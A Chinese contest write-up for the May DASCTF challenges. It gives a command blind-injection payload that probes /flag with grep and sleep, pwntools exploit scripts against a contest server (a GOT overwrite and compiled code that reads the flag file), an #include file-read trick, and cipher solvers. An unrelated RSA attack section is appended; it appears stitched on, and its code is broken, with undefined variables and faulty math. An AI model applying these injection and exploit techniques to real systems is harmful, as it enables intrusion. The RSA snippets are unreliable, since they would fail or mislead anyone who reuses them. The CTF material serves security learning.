5月DASCTF

帮帮小红吧

命令盲注是我没有想到的

cat /flag |grep 'BJD{' || sleep(3);

密码bbcrypto

题目

# -*- coding:utf-8 -*-
import A,SALT
from itertools import *

def encrypt(m, a, si):
    c=""
    for i in range(len(m)):
        c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2)
    return c
if __name__ == "__main__":
    m = 'flag{********************************}'
    a = A
    salt = SALT
    assert(len(salt)==3)
    assert(salt.isalpha())
    si = cycle(salt.lower())
    print("鏄庢枃鍐呭涓猴細")
    print(m)
    print("鍔犲瘑鍚庣殑瀵嗘枃涓猴細")
    c=encrypt(m, a, si)
    print(c)
    #鍔犲瘑鍚庣殑瀵嗘枃涓猴細
    #177401504b0125272c122743171e2c250a602e3a7c206e014a012703273a3c0160173a73753d

可以看到需要求明文需要知道2个未知数,并且它们与明文的关系是线性的直接上z3爆破即可
大概5秒钟就出来了


from z3 import *
from itertools import *

flag=''
salt="ahh"
si=cycle(salt.lower())
c="\x17t\x01PK\x01%',\x12'C\x17\x1e,%\n`.:| n\x01J\x01'\x03':<\x01`\x17:su="
for i in range(len(c)):
	x=Int('x')
	sol=Solver()
	a=(x*-71+ord(next(si)))%128
	sol.add(x>0)
	sol.add(x<128)
	sol.add(a==ord(c[i]))
	print ord(c[i])
	sol.check()
	flag+=chr(int(str(sol.model())[-4:].replace(']','')))
	print flag

pwn

#!/usr/bin/python2
from pwn import *

#p=process('./Memory_Monster_I')
p=remote('183.129.189.60',10083)
elf=ELF('./Memory_Monster_I')
libc=elf.libc
bin_sh=0x402010
p.sendafter(':',p64(elf.got['__stack_chk_fail'])+'\x00'*0x60)
p.sendafter(':',p64(0x040124A))
p.interactive()

#!/usr/bin/python2
from pwn import *

p=remote('183.129.189.60',10078)
context(arch='amd64',os='linux')
shellcode='''
#include <stdio.h>
char en[]="0ipnf0dug0gmbh";

int main(){
int i;
char buf[40];
FILE *fp;
for(i=0;i<14;i++)
{
  en[i]=en[i]-1;
}
fp=fopen(en,"r");
printf("%s\\n",en);
if(fp==NULL)
printf("nonono");
fgets(buf,40,(FILE*)fp);
printf("%s\\n",buf);
fclose(fp);
 return 0;
}
'''
p.sendafter("@')",shellcode+'@')
p.interactive()

上一个万能的这又是我没想到的

#include "/home/ctf/fl\
ag"@

ViQinere

主要逻辑就很简单
在这里插入图片描述
读入flag文件然后判断大写小写数字特殊字符,如果是大写就会-0x41小写就会-0x61(相当于在字母表的位置)然后异或0x7f与一个字符串再取其对应的位置就行了
(这里我直接吧特殊符号和数字给关了反正不影响
exp:

yiq="TaQini"
key2="zyxwvutsrqponmlkjihgfedcba"
v5=0
z=[]
aim=[]
flag="fqd{gfjuj5ublrwjzjpverxkiazzlvo0xta!cwnllasy3b0ievey}"
for i in range(len(flag)):
	a=ord(yiq[v5&5])
	if a>96 and a<=122:
		a=a-97
	elif a<=64 or a>90:
		a=a
	else:
		a=a-0x41
	print hex(a)
	c=ord(flag[i])-97
	print c
	b=((a&0x7f)+c)%26  #c=(b-a&0x7f)
	print b
	aim+=key2[b]
	v5+=1
print aim

输出的全是小写自己在改改就行了)

### DASCTF竞赛中的RSA加密挑战与解决方案 在网络安全竞赛如DASCTF中,RSA加密相关的挑战通常涉及密码学原理的应用以及对常见攻击手段的理解。对于此类比赛中的RSA题目,参赛者需掌握多种技巧来应对不同类型的难题。 #### 基础概念理解 RSA是一种基于大整数分解困难性的公钥加密算法。其安全性依赖于两个大素数相乘容易而因式分解难这一事实。比赛中常见的任务可能包括但不限于私钥恢复、密文破解或是利用特定漏洞实施攻击[^1]。 #### 解决方案概述 针对DASCTF或其他类似平台上的RSA类目下的具体问题,可以采取如下几种策略: - **低指数广播攻击**:当相同的明文被发送给多个接收方,并且这些接收方都使用较小的公开指数e时,则可以通过中国剩余定理(CRT)求得原始消息m。 ```python from sympy import mod_inverse def low_exponent_attack(ciphertexts, n_values): m = sum([c * (N // ni) * pow(mod_inverse(N // ni, ni), e, N) for c, ni in zip(ciphertexts, n_values)]) % N return int(m).to_bytes((int(m).bit_length() + 7)//8,'big') ``` - **共模攻击**:如果同一份数据分别用不同的公钥(e,N),但是共享同一个模块n进行了两次以上的加密操作,那么就可以通过简单的计算得到原信息。 ```python def common_modulus_attack(cipher_1, cipher_2, exponent_1, exponent_2, modulus): s1 = pow(exponent_2, -1, phi(modulus)) s2 = (-exponent_1 * s1) % phi(modulus) result = ((pow(cipher_1,s1,modulus)*pow(cipher_2,s2,modulus))%modulus)**(1//gcd(s1,phi(modulus))) return long_to_bytes(result) ``` - **部分私钥泄露攻击**:假设已知p或q的一部分位数,或者是d的部分比特序列,这将大大降低暴力枚举所需的时间复杂度。 ```python def partial_private_key_leak(p_part, q_part=None): # Assuming p_part is a significant portion of the prime factor. factors = [] while True: candidate_p = next_prime(int.from_bytes(p_part, 'little')) if not(q_part): break candidate_q = next_prime(int.from_bytes(q_part, 'little')) if gcd(candidate_p*candidate_q,n)==candidate_p*candidate_q: factors.append(candidate_p);factors.append(candidate_q); break; d = inverseMod(pow(e,-1,(candidate_p-1)*(candidate_q-1)),phi(n)) private_key=(d,candidate_p,candidate_q) return private_key ``` 以上仅列举了一些基础的方法,在实际比赛中还需要考虑更多复杂的场景和技术细节。值得注意的是,上述代码片段仅为示意用途,在真实环境中应更加严谨地处理边界条件等问题。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值